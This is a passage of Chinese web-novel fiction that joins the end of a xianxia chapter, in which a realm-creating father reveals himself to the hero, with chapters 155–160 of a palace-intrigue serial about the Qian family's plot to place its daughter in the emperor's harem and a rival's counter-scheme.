容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第155章 献女 她面色惊惶失措,一双小鹿般的眼睛,纯洁又可怜。 皇上再也忍不住,从暗处走出来,笑容亲切,“姑娘莫慌, 我只是一个客人,误入后院,不曾想惊扰了姑娘。” 身后的云筝翻了个白眼,装普通人搭讪?没想到皇上还有这种癖好。 白衣少女见到外男,吓了一跳,下意识的捂住脸,只露出一双纯真的小鹿眼。 这角度,这神态……皇上愣住了,神色恍惚。 白衣少女怯生生的指着一个方向,“这是去前院的路。” 皇上拱了拱手,面带笑容,“多谢姑娘。” 他却没有离开,反而上前了几步,眼神灼热,“敢问姑娘是何人?是钱家的女儿吗?还是寄居钱家的客人?” 极具侵略性的视线让白衣少女不由自主的哆嗦了一下,俏脸悄悄染红,含羞带怯,“我是钱家的女儿。” 女儿家的名字不能随意告诉外男,只是含蓄的点明自己的身份。 皇上对钱家的情况有所了解,钱家二子,长房是钱维,生有嫡长女,钱惠,一个嫡子还小。 二房是一儿两女,长女是待嫁的年纪,次女还小。 “钱维是你的父亲?” 白衣少女怔了怔,“是,您认识我父亲?” 皇上嘴角含笑,原来是钱家嫡长女,“对,相识多年。” 云筝撇了撇小嘴,直呼人家父亲的名字,还是这般居高临下的语气,等于明示身份了。 但,人家钱大小姐愣是没听出来,也没有指责对方的不礼貌,呵,装的不错啊。 她摸了摸肚子,饿了,想吃饭。 “老爷,你要女人不要?要的话,把她直接抢走吧。” 磨磨叽叽的演戏,浪费她的时间。 这什么话啊,大家除了沉默,还是沉默。 钱惠花容失色,惊恐不已,“哪来的狂徒,快点离开。” 宫中侍卫大声喝道,“大胆。” 钱惠瑟瑟发抖,似是受了极大的惊吓,一双眼睛扑闪扑闪的,楚楚可怜。 “退下。”皇上眼神一阵恍惚,“钱姑娘莫慌,我和你父亲是老相识了,这是见面礼。” 他取下腰间的玉佩递过去。 钱惠不肯接,朝后退了几步,“我又不认识你,不会接受来路不明的东西,男女授受不亲,请马上离开。” 少女的矜持和自尊自爱,让皇上满意的颌首,“姑娘珍重,我们会再见的。” 笃定的语气,霸道的宣告。 他深深的看了少女一眼,这才转身离开。 一行人哗啦啦的跟上去,云筝回头看了一眼,白衣少女神色怔忡,眼神却有一抹说不清道不明的东西。 她追了上去,笑吟吟的开口,“皇上,您还挺会演戏的,不过,比起那位钱大姑娘还是稍逊一筹,那才是浑然天成。” 皇上没好气的轻斥,“别胡说,她不知道朕的身份。” 云筝啧啧称奇,这算色令智昏吗? “祖母病重,不在病榻前侍候,反而跑来花园扑蝶玩,这正常吗?” 皇上淡淡的道,”女孩子天性,偶尔放松一下很正常。“ 才见了一面就这么维护,云筝眼神一闪,不行,她得罪了钱家,钱家女一旦进宫,对她极为不利。 必须搞破坏! “确定她没认出您?” “就算没认出来,看到大伴和侍卫们总能猜到一二吧。” 皇上嫌她聒噪,“闭嘴。” 云筝笑颜如花,“钱家献女很成功,皇上立马上钩了,不过,您就留点心吧,越美丽的女人越危险。” 大伴看了过来,好好的一桩艳遇,到了锦云郡主嘴里,就成了事先安排好的美人计,皇上是猎物。 就像一锅好汤里,掉进了一颗老鼠屎,让人怎么喝? 锦云郡主好手段,这一根刺算是深深的扎了下去。 皇上本来还在细细回味,听她这么一扒拉,好心情被破坏了。 主动看上和被精心算计,这是两回事。 心高气傲的皇上,哪受得了被算计,男人的自尊心不允许啊。 “你确实挺危险的。” 云筝摸摸自己的脸蛋,“哇,我果然是貌美如花,国色天香,美的不可方物。” 她不要脸的样子,让皇上很无力,“你什么都好,就是有一点不好,长着一张嘴。” 只要她一开口,再美也没用,气死人不偿命。 “哼。”云筝不开心了,“谁让您叫我过来的?后悔了吧。” 皇上叫她过来是有深意的,但,眼下,不必再多提。 他主动换了个话题,“无恙还在生气吗?” 云筝在心里无声叹气,看来皇上哪怕知道被算计,依旧想要抱得美人归啊。 那钱家女对他影响有点大,这对她来说,不是什么好事。 “有一点点吧,等他出了这一口气就好了。” 皇上揉了揉眉心,“劝劝他,别那么计较。” 云筝扑哧笑了,“他跟您一模一样,气量小,爱生气,我哪劝得了他?” 皇上呆了呆,“我们很像吗?” 云筝用力点头,疯狂帮厉无恙刷好感,一般都会偏爱跟自己相似的人。 “像啊,不光长的像,性格也像,谁养大的就像谁。” 皇上沉默了半晌,“他其实长的像他娘。” 云筝的好奇心被勾了起来,“他娘?太后吗?我没见过,她怎么天天烧香拜佛,这是要弃今生,求来生吗?” 皇上脸色微变,“您说什么?再说一遍。” 云筝有些茫然,这是怎么了?“太后?我没见过?” 皇上蹙了蹙眉,“最后一句。” 云筝在心里骂他有病,但面上不露,“弃今生,求来生?” 皇上猛的回头,“回宫。” 看着一行人匆匆远去的背影,云筝挑了挑眉,捏着下巴,若有所思。 车夫问道,“主子,我们回家吗?” 云筝眼珠一转,“去……明镜司。” 看来,得跟九千岁好好商量一下。 得想个办法,将钱家女拦下来,还不能激怒皇上。 男人上头时,会不管不顾,什么事情都做的出来。 若是,不小心激起皇上的逆反心理,那就更麻烦。 插手后宫之事是大忌,稍有不慎就粉身碎骨。 咋办呢?这个分寸不好拿捏。 嗯?有主意了。 第156章 你出主意,我来执行 明镜司,厉无恙懒洋洋的靠在窗边的软榻上,百无聊赖的翻阅公文。 随手一扔,扔的满地都是。 云筝远远就看到他,男人的面容在海棠花的映衬下,显得格外清俊。 “王爷。” 厉无恙猛的抬头,少女的脚步如蝴蝶般轻盈,眉眼弯弯,笑颜如花。 他的心情一下子明媚起来。 “吃饭了吗?” 云筝走到近前,嘀嘀咕咕, “没有,皇上把我叫出去,都不请我吃饭,小气。” 厉无恙嘴角轻轻上扬,“想吃什么?” 云筝笑眯眯的问道,“听说明镜司有一道招牌菜,是酱香骨头,能尝尝吗?” 明镜司都是武人,喜欢大口喝酒,大口吃肉。 这又不是难事,厉无恙一口答应,“吩咐厨房,做一道酱香骨头,有新鲜的食材多做几道清淡的菜。” 酱香骨头,鲫鱼豆腐汤,荷叶鸡,素炒三丝,鲜磨菜心,卤牛肉,并不奢侈,但色香味俱全。 喝喝小酒,啃啃骨头,吃吃酱牛肉,还挺舒爽的。 云筝一边吃,一边巴拉巴拉的将今日的事情说了一下,说到她喊太后吉祥时,厉无恙呆住了,随后大笑。 这调皮鬼,几句话就把钱家打回原形。 哪怕,皇上封了钱老夫人为一品诰命夫人,但,依旧是皇室的奴才出身,真当自己是太后了? “皇兄一定后悔带你去了。” 云筝想到钱家人气疯,却只能憋着的样子,不禁眉眼弯弯,“钱家人恨不得将我轰出去呢。” 她话风一转,“钱大小姐要进宫了,皇上对她一见钟情……” 厉无恙沉默半晌,神色有些莫名。 云筝偷偷瞟了他一眼,怎么忽然不高兴了? “我得罪了钱家,担心枕头风的威力,所以想将这事搅黄了。” 厉无恙喝了一口酒,淡淡的道,“钱老夫人筹谋已久,此事势在必行,皇上正在兴头上,谁都阻止不了。” 他说的这么笃定,云筝的脸垮了,轻轻叹了一口气。 若问,谁是这世上最了解皇上的人,钱老夫人算一个,厉无恙也算一个。 “罢了,就算她进了宫,我还怕她不成?敢给我下绊子,我就搞钱家。” 钱惠的软肋是钱家,钱家那么多小辫子,随便抓就是一大把。 厉无恙瞥了她一眼,她蹙眉的样子不好看,“不过,可以闹一闹。” 云筝想了想,“我担心会触到皇上的逆鳞,所以跑来跟您商量。” 这事本来就挺敏感的,擅自插手皇上后宫之事,传出去也不好听。 厉无恙微微一笑,什么事情能做,什么事情不能做,她心里明白着呢。 “你有什么想法,说出来听听,我让人去执行,保管做的天衣无缝,你就别沾手了。” 云筝眼睛一亮,关键时刻还是睿亲王最可靠。 “谢王爷,不过,皇上会怀疑吧。” “凡事要讲证据。” 两人相视一笑,一切尽在不言中。 花园里发生的事情,瞬间传到钱老夫人耳朵里,沉默了良久。 钱二爷忍不住抱怨,“又是云筝,她跟我们钱家犯冲,老坏我们的好事。” 精心安排的相遇场面,却没有得到想要的结果,想想就气。 这一切,全是因为云筝。 钱老夫人无声叹气,“锦云郡主聪明绝顶,颇得圣眷,没有必胜的的把握,就不要惹她。” 她怕害人不成,反而把自己搭进去。 钱二爷满心的怨念,“娘,您是不是太夸大了?我看她是个鲁莽又娇纵的大小姐,那张嘴迟早会害死她全家。” 钱老夫人反问道,“她嘴那么毒,皇上治她罪了吗?” 钱二爷迟疑了一下,“皇上……需要她挣钱,所以暂时忍让,等哪天价值不再,就厌弃她了。” 钱老夫人揉了揉眉心,“皇上喜欢她。” 钱维兄弟惊呆了,没有看出来啊,“不会吧?” 钱老夫人眼神复杂,“不是男女之情,而是……对晚辈的欣赏和喜爱。” “你们没发现,这两人很像吗?” 钱二爷下意识的反驳,“哪里像了?一点都不像。” 钱维苦笑一声,“一样的小气,记仇,有仇必报,不带隔夜的。” “可以占别人的便宜,但,绝不允许别人占自己的便宜。” “还有,都爱钱,嗜钱如命!” 而且,云筝很聪明,每次都踩在皇上雷区的边缘,却不越线。 皇上会生气,但不会动怒。 钱二爷恍然大悟,“就是,臭味相投?” 钱维狠狠瞪他一眼,怎么说话的?“闭嘴吧。” 钱老夫人挥退两个儿子,看向内室,“出来吧。” 钱惠眼眶红通通的,一进来就请罪,“祖母,我把事情办砸了。” 钱老夫人满脸慈爱的拭去她眼角的泪,“惠儿,你做的很好,我很欣慰,皇上一定会主动接你进宫的。” 钱惠有些不敢相信,“真的吗?” 钱老夫人看着眼前的孙女,不是风华绝代的大美人,但胜在天真娇憨,是很多男人喜欢的类型。 “真的,你进宫后一心侍候皇上,满心满眼全是皇上,对他温柔体贴,当一朵解语花,别的什么都不用做。” 自然会有人替她解决各种麻烦。 “是。” “帝王权柄滔天,整天勾心斗角,反而喜欢单纯的,热烈的,全身心依赖他的女子。” 钱惠用力点头,“知道了,祖母,我一定会为钱家带来荣耀,守护钱家。” 她从小就跟着祖母长大,祖母对她寄予了厚望,总说,她是有大造化的。 家族给了她十几年的荣华富贵,既享了家族的荫护,就要为家族牺牲。 她为这一天的到来做足了准备。 钱老夫人看着乖巧的孙女,心中极为满意,“好孩子。” 就在此时,下人惊惶失措的闯进来,“老夫人,不好了,出事了。” 钱老夫人眉心一跳,“怎么回事?” 老嬷嬷满脸的惊恐不安,“有人拿着信物找上门,要求我们钱家履行婚约。” “婚约?”钱老夫人茫然了,第三代年纪最大的钱惠还没有订亲,下面的弟弟妹妹自然不会抢在她前面。 哪来的婚约? 老嬷嬷急的满头大汗,“那人说是钱家大小姐,钱惠的未婚夫!” 钱家祖孙俩脸色大变,不敢置信。 第157章 婚约?假的! 钱惠吓白了脸,惊恐不已,“祖母,怎么办?” 她确定自己没有婚约,一定是有人害她,到底是谁呢? 钱老夫人毕竟是经过大风大浪的,很快平复下来,“别慌,走,去看看。” 钱府门口,一名年轻男子大声喊道,“我 ,孙守信,信守承诺前来迎娶钱家嫡长女,钱惠钱大小姐,还请成全。” 这正是下衙时,不少官员从这里经过,听到这动静,纷纷停下脚步观看。 门房急的直跳脚,“哪来的无赖,赶紧滚,这不是你碰瓷的地方。” 年轻男子一身衣袍洗的发白,但收拾的干干净净,浓眉大眼,长相出众,气质儒雅,让人心生好感。 他闻言,面色通红,像是受到了极大的羞辱。 “我真的是钱大小姐的未婚夫,让我进去。” 门房态度嚣张,这一看就是个穷人,钱家怎么可能有这一门婚约?假的! “荒唐至极,我家老爷是二品官员,怎么可能将嫡长女许配给你这种穷酸?快走,否则我要报官了。“ 孙守信气恼不已,“我只是来履行婚约,不是来攀龙附凤,钱家凭什么羞辱我?” “狗眼看人低,莫欺少年穷,谁知道将来的际遇。” 这话激起了不少人的共鸣,“说的好,年轻人,我支持你。” “钱家不讲道理啊,居然嫌人家穷,不肯履行婚约,欺人太甚。” 眼见情势失控,钱家下人急的满头大汗,“来人,将他轰走。” 一群家丁围着孙守信,虎视眈眈。 大家纷纷为孙守信抱不平。 就在情势一触即发时,身着二品官服的钱维走了出来,“吵什么?” 他心中窝火,但,不得不暂时隐忍,事情闹大了,对钱家没有好处。 “本官是江南总督,你是何人?” 他打着官腔,想震慑对方,让对方知难而退。 年轻男子整了整衣服,郑重其事行了一个大礼,“小婿孙守信,拜见岳父大人。” 他很知礼,规规矩矩的做足晚辈的姿态,言谈举止斯斯文文。 但,钱维的表情差点崩了,“谁是你岳父,别胡说,我钱家可没有这桩婚约,不要乱攀关系,谁派你来捣乱的?” 孙守信脸色微变,“钱家这是不肯履行这桩婚约?” 围观人纷纷劝道,“钱大人,这就是你不对了,婚约岂是说毁就毁的?” “身为官员,更应该以身作则。” 钱维很生气,“我不认识这人,从没有将长女许配人家,这人实在是居心叵测。” 孙守信神色淡定,“我有信物。” 信物?大家齐刷刷的看过去。 孙守信从怀里取出一物,“岳父大人,这玉佩就是订婚信物。” 钱维一看此物,顿时呆住了,这……有点眼熟。 一名官员惊咦一声,“咦,这是宫制玉佩,是宫中赏赐之物吧。” “他一个普通人,哪有机会得到宫中赏赐之物?自然是钱家给的。” “钱大人,订婚信物都拿出来了,就认了吧。” 钱维眉头紧皱,感觉事情不简单,这背后之人…… “这玉佩你从哪里偷来的?说。” 孙守信一脸的失望,“您这是打死不认账?” “我这还有婚书。” 他从怀里取出一纸婚书,举在空中让所有人都看的清清楚楚。 几名官员凑过来,“上面写着,男女双方的名字、生辰八字,还有双方长辈的名字,钱大人,你祖宗三代都写上了,你看看,名字都没写错吧。” 钱维看了又看,满眼的不敢置信,全写对了!“这不可能。” 一名跟他不对付的官员笑了笑,“令爱的生辰是二月初二?” 钱维面色难看到了极点,居然知道这么私密的信息,可见对他们钱家了如指掌。 “是,但,自家女儿有没有许配人,我当父亲的能不知道吗?” 生辰八字他没办法说谎,他日被查出来,后果不堪设想。 他郑重的宣布,“小女至今没许配。” 他内心是崩溃的,偏偏在这节骨眼,出了这样的事,女儿还能顺利进宫吗? 大家都不信啊,“有婚书和信物,钱大人,你说你不知道,这话谁信?” “钱大人,你们钱家嫌贫爱富,是想攀高枝吗?还是已经找到高枝了?” 钱维心里一紧,这事太棘手了,若现在否认,之后进了宫中,会迎来大规模的口诛笔伐。 连皇上的名声也会被牵连,以皇上的性子,能饶了钱家? 一时之间,他进退两难。 大门后面,钱惠的脸色忽青忽白,额头渗出汗珠。 钱老夫人深深的看了她一眼,拍拍她的胳膊,“不会有事的。” 她推开大门,走了出去。 她是一品诰命夫人,而且有皇上撑腰,在场的官员纷纷行礼。 “见过钱老夫人。” 孙守信也行了一个大礼。 钱老夫人不动声色的打量了几眼,长的浓眉大眼,英俊儒雅,可惜了。 “各位,老身是钱家的老夫人,是惠儿的亲祖母,那孩子从一出生就抱到我跟前,从小养在我膝下,我早就放言,孩子的婚事由我作主。” “这些年我想给她挑了一门四角俱全的婚事,至今没有找到合适的。” 她年纪大,又奶大了皇上,在朝野的口碑极好,大家极为敬重这位老夫人。 “就是说,钱大小姐没有许配给人?” 钱老夫人举起右手,神色肃穆,“老身敢对天发誓,绝无此事,若老身有半句虚言,就让老身天打雷霹。” 她慈眉善目,德高望重,说的话极有信服力。 都发毒誓了,大部分人信了,“看来是场误会。” 钱老夫人当机立断,“来人,将这个招摇撞骗的骗子送到衙门治罪。” 只有这样,才能恢复孙女的名誉,才能让皇上毫无忌惮的接纳。 牺牲一个年轻人的性命,保全自家家族的荣华富贵,值! 他也算没有白死。 下人一拥而上,拉扯着孙守信往外推。 孙守信急的大叫,“放开我,我句句属实。” 但,钱家人多势众,围观百姓又不敢帮他,他只能被强行拖走。 钱老夫人淡淡的看了一眼,像看着一个死人,转身就要回府。 身后传来一道清朗的声音,“这么热闹啊。” “九千岁来了。” 钱老夫人猛的回头,坐在轮椅上的青年丰神俊朗,气势不凡。 “本王正好路过,过来凑凑热闹,不介意吧?” 钱老夫人脑中闪过一道灵光,后背升起一丝股寒气。 是他! 第158章 毒杀原配? 钱维一看到睿亲王就头皮发麻,还不能表露出来,恭恭敬敬的行礼。 就连一品诰命钱老夫人也得行礼,谁都不能例外。 看着跪了一地的人,厉无恙这才慢悠悠的开口,“都起来吧。” 钱老夫人起身,笑容满面的发出邀请,“睿王爷来了,进家里坐坐,喝杯清茶吧。” 虽然知道他来者不善,但还是想争取一下。 厉无恙神色淡漠极了,“本王对喝茶不感兴趣。” 他手指着孙守信,“你,过来。” 钱维母子的心往下沉,他的态度鲜明,一点面子都不给钱家。 孙守信诚惶诚恐的走到最前面,局促不安。 厉无恙淡淡的问道,“这婚书是谁写的?” 孙守信躬身禀道,“钱方氏。” 众人茫然四顾,那是谁?也是钱家人? 钱老夫人的脸色刷的变了,不敢置信,前长媳方氏? 厉无恙扬了扬眉,“那是谁?” 孙守信毕恭毕敬的回道,“是钱大小姐的生母,钱家的当家主母,江南总督的原配妻子。” 现场一片哗然。 百姓或许不知道钱家的情况,但同一个圈子都知道,钱维的原配妻子早逝,如今的继室是平西侯府的庶女。 孙守信看向钱家母子,大声问道,“父母之命,媒妁之言,敢问各位,钱大小姐的母亲能替她作主吗?” 这世道重男轻女,女子的地位极为卑贱,但,礼法上,父母都能为儿女的亲事作主。 一名御史斩钉截铁的回答,“当然能。” 钱维惊怒交加,“这不可能,我都不知道有此事。” 印象中,原配妻子是个端庄有余,娇媚不足的木讷女子,他只是奉母亲之命将人娶进门,没有什么感情。 生下长女后,他就纳了几房美妾,直到……遇见了让他怦然心动的侯门贵女,江淑蓉。 孙守信深吸一口气,爆出一个猛料,“您当然不知道,这是尊夫人被下毒将死之际,不放心唯一的女儿,才偷偷写下这一纸婚书,将爱女托付于家母,也就是她的闺中密友。” 大门内,钱惠如五雷轰顶,紧紧咬着嘴唇,鲜血流了下来,身体摇摇欲坠。 贴身丫环吓了一跳,“大小姐,这不是真的,您别这样。” 门外,炸开了锅,百姓们议论纷纷,“被下毒?谁给她下毒?一个大门不出,二门不迈的后院女子能得罪谁?” “中了毒,为什么不向最亲近的枕边人求助?而是偷偷将女儿托付给别人?” “啊,难道是枕边人起了杀心?不是吧?那也太可怕了。” 钱维听着这些议论声,心乱如麻,大声喝道,“一派胡言,荒唐可笑,来人,把他送去官府。” 钱家下人刚想动手,厉无恙就开口了,“钱大人,你慌什么?有理说理,没理才急着杀人灭口。” 钱维又气又急,睿亲王是故意的,这一切是他安排的? “九千岁,这是我们钱家的家务事,还请不要插手。” 厉无恙冷笑一声,“本王身为明镜司的主人,负责监督百官,钱大人也在本王的监督名单中,不做亏心事,不怕鬼敲门,你怕什么?” “啊,我记得当年,尊夫人刚去世还不到三个月,你就迎娶了侯门贵女,对了,二婚的婚礼远比娶原配时隆重风光。” 他知道的太多了,钱维脸色奇差,下意识的看向一边的母亲求助。 钱老夫人闭了闭眼,一颗心冷冰冰的,从睿亲王出现的那一刻起,她就知道这一出是他安排的。 也只有明镜司的主人才能知道这么多细节和秘密。 可为什么? 钱家对他向来恭恭敬敬,不敢有半点失礼,到底哪里得罪了他? 百姓们都惊呆了,“难道是钱大人给元配下毒,给新人腾地方?” “天啊,好惨,这也太泯灭人性了,毕竟给他生了一个女儿啊。” “男人狠起来,六亲不认的。” 钱维内心烦躁不已,大声喝道,“我是堂堂正正做人,清清白白做官,品行皆优,怎么可能做出毒杀发妻的事?谁再敢胡说,休怪本官不客气。” 他不敢冲睿亲王撒气,只能将一腔怒火发泄到别人身上。 厉无恙不屑至极,“江南总督好威风啊,贪污了上百万两银子,这叫清清白白做官?” 这话一出,钱维高涨的气势被厉无恙一棍子打下来了,满脸通红,不知是气的,还是羞的。 “王爷,您非要跟我们钱家作对吗?” 厉无恙的眼睛危险的眯了起来,“钱家也配当本王的对手?你娘是皇上的乳娘,不是亲娘,别以为被喝了几口奶就成了大齐的皇太后。” “她不配!野鸡永远当不了凤凰!” 这话的性质太严重了,钱老夫人扑通一声跪倒在地,汗如雨下。 “王爷恕罪,小儿是一时激愤,胡言乱语。” “只是, 这关系到孙女的终身大事,不得不郑重,请让我们来处理此事。” 厉无恙冷笑一声,“好啊,不过,别想着杀人灭口,本王会盯着你们的。” 钱二爷满腔悲愤,再也忍不住问道,“王爷,您为何针对我们?” 厉无恙看向钱老夫人,压低声音,“听说,钱家大小姐举足投手之间颇似故人,难怪,钱家女从不出现在公众场合,藏的真深,钱老夫人这是筹谋了多久?五年?十年?” 这话只有钱老夫人听见了,她浑身一震,她终于知道睿亲王为何大发雷霆,对钱家重拳出击了。 这是触到了睿亲王的逆鳞! 厉无恙忽然扬高声音,“什么,钱家要夺后位,母仪天下?野心真大啊。” 这是将钱家推到了整个后宫嫔妃和他们家族的对立面,钱惠想进宫争宠,那将是所有嫔妃的眼中钉肉中刺。 钱老夫人眼前一黑,身体摇摇欲坠,晕了过去。 “娘,娘。”钱家兄弟惊恐的尖叫声划破长空。 皇宫,慈宁宫,依旧檀香弥漫,木鱼声阵阵。 皇上站在殿外,呆呆的看着紧闭的大门,思绪万千。 时间渐渐流逝,月亮悄然升起,洒下一片银晖。 他不知站了多久,门开了,一名宫人走出来。 皇上精神一震,迫不及待的问道,“太后终于肯见朕了?” 第159章 既要又要,太贪了 不管是谁来请安,太后都不会见,包括自己的亲生儿子。 皇上深深的看了殿内一眼,扭头就走。 他铩羽而归,纵然有千言万语,却无法说出口。 在月光下,他神色落寞而又寂寥,“大伴,朕是不是老了?” 大太监心里一惊,面带笑容,“皇上龙马精神,还年轻着呢。” 皇上轻轻叹气,“一晃这么多年过去了,太后还在怪朕。” 大太监哪敢说什么,小心翼翼的劝道,“夜深了,该休息了。” 回到寝宫,皇上哀声叹气,大太监犹豫了一下,开口说道。 “皇上,钱家大小姐天真娇憨,是一朵解语花,不如让她进宫伴驾吧。” 皇上心里一动,“合适吗?她是奶娘的孙女。” 他的注意力被转移了,大太监笑着凑趣,“能进宫伴驾,是钱家祖坟冒青烟了,钱家会更用心办差,为皇上尽忠。” 皇上略一沉吟,“明日准备一台花轿,将人抬进来。” “是。”大太监终于将皇上哄开心了,暗暗松了一口气。 等钱大小姐进了宫,有了解语花的陪伴,应该不会再想到慈宁宫吧。 但,人算不如天算。 第二日,等皇上一散朝,回到养心殿就接到一个坏消息。 “禀皇上,钱家出事了,钱老夫人晕过去了。” 皇上眉头一皱,“什么事?” 侍卫禀道,“钱大小姐的未婚夫找上门了,拿出了婚书和信物。” 皇上愣住了,钱家敢耍他?“什么?她有未婚夫?钱家怎么说?” 侍卫吃了不少瓜,“钱家矢口否认,但,婚书是真的,而且对方爆出江南总督原配被下毒……生命垂危时,将女儿的终身托付于他。” 皇上脸色微变,“大伴,你还记得钱维原配的死因吗?” 大太监的记性极好,“是病逝。” 病逝?还是被毒杀了?如今已经无法深究。 皇上心思飞转,“朕记得不久之后,他就在钱老夫人的威逼之下,不得不娶了继妻。” 不得不娶,这个词真是精妙。 “是。” 皇上轻敲桌面,一下又一下,气氛紧绷。 大家不由自主的屏住呼吸,紧张万分。 直到,皇上再一次开口,“睿亲王也在现扬?” “是,九千岁正好路过。” 皇上根本不相信这是巧合,“去把他叫回来,朕要亲口问问。” 很快,侍卫就回来复命,“九千岁不肯来,他还在生气。” 皇上气笑了,“这混账东西,越来越无法无天了。” 大太监在一边极力安抚道,“九千岁本就有气,还没有发泄出来,又出了这样的事,可能觉得您是故意跟他唱对台戏,让他难堪。” 皇上揉了揉眉心,“他怎么能这么想?区区一个女人而已。” 大太监劝道,“站在他的角度,可能会多想,毕竟,您跟钱老夫人很亲近。” 皇上漫不经心的说道,“再亲近也只是奴才,怎么能跟他相比?他这个孩子啊,就爱胡思乱想。” 大太监赔着笑脸,“说明睿王爷在乎您,他在争宠。” 争宠吗?那孩子从小就别别扭扭的,皇上蹙眉沉思。 “他这次太反常,居然亲自出手对付钱家,他……是不是知道什么了?” 大太监心里一抖,面上不露,“不会,知道往事的人都死光了,没有人告诉他。” 皇上沉吟半响,“罢了,自己惯出来的孩子,只能宠着。开库房挑几件东西赐给睿亲王,就说,不管发生什么事,他都是朕最在意的亲人。” “是。” 大太监小心翼翼的问道,“钱家那边?” 皇上沉吟半响,忽然语出惊人,“让锦云郡主去解决此事,告诉她,这是对她的考验。若能完美解决,就允许她去内务府当差,广储司郎中。” 大太监迅速将错愕惊讶之色压了下去,帝王之心深不可测。 就连他这个从小相伴的人,也不知道皇上在想什么。 明明,很排斥女子参政,但,又为云筝屡屡破例。 难道是爱才之心?或者,在下一盘很大的棋? 此时,云筝在家里翻阅钱家的档案资料,这是明镜司送过来的。 钱老夫人给大儿子挑的原配是皇商之女,家里富贵无比。 方氏出嫁时十里红妆, 颇为轰动。 给二儿子挑的妻子是内务府官员之女,跟皇家有着千丝万缕的关系。 “不得不说,姜还是老的辣,这精心挑选的两房儿媳妇,一是钱,二是权。” 李嬷嬷快步走进来,“主子,宫中来人了。” “请。” 宫人传完话,云筝整个人惊呆了,“广储司郎中?皇上亲口说的?” 广储司是统辖银、皮、缎、衣、茶、瓷六库,负责皇室物资采购、调配、存储及销售。注(1) 算是内务府最重要的部门,负责财务和收支。 按理说,让她出仕是天大的好事。 只是,这太突然了,让她心生疑惑。 宫人面带笑容,“是,还请您速速决定。” 当女官一直是云筝奋斗的目标,好不容易有了机会,她不想放弃。 哪怕,这是掺了毒的蜜糖。 区区一个钱家,还不足以让她放弃自己的梦想。 若钱家不肯罢休,她也不是吃素的。 “我要当广储司主官。” 皇上听到宫人的传话,很无语,“她还敢讨价还价?好大的胆子。” 宫人小心翼翼禀道,“锦云郡主说,若答应她,她就让每年的利润翻一倍。” 才一倍?皇上心中嫌弃,最起码十倍。 “告诉她,做生意她是高手,但,做官她是新手。” “年轻人不要想着一步登天,慢慢来,一步一个脚印,积攒资历和经验,做出成绩才能服众。” 而此时,云筝出现在睿亲王府,手捧着茉莉花茶喝了一口。 “其实,您早就料到了,是吧?” 厉无恙微微颌首,“皇上一定会让钱家女进宫,但,在这种情况下钱家女很难在宫中立足,钱老太太在宫中经营多年的钉子该动了。” 到时,全部连根拔起。 云筝心里一动,在宫中长大的都是八百个心眼子。 “皇上之前说什么都不肯让我当女官,如今忽然松口,是什么原因?他到底想干什么?” 不懂就问。 第160章 主子,鱼儿上钩了 厉无恙忽然问道, “你吃过鲶鱼吗?” 这个话题有点远,云筝有些不明白,下意识的回答,“吃过,《食经》记载:主虚损不足,令人皮肤肥美。”注(1) 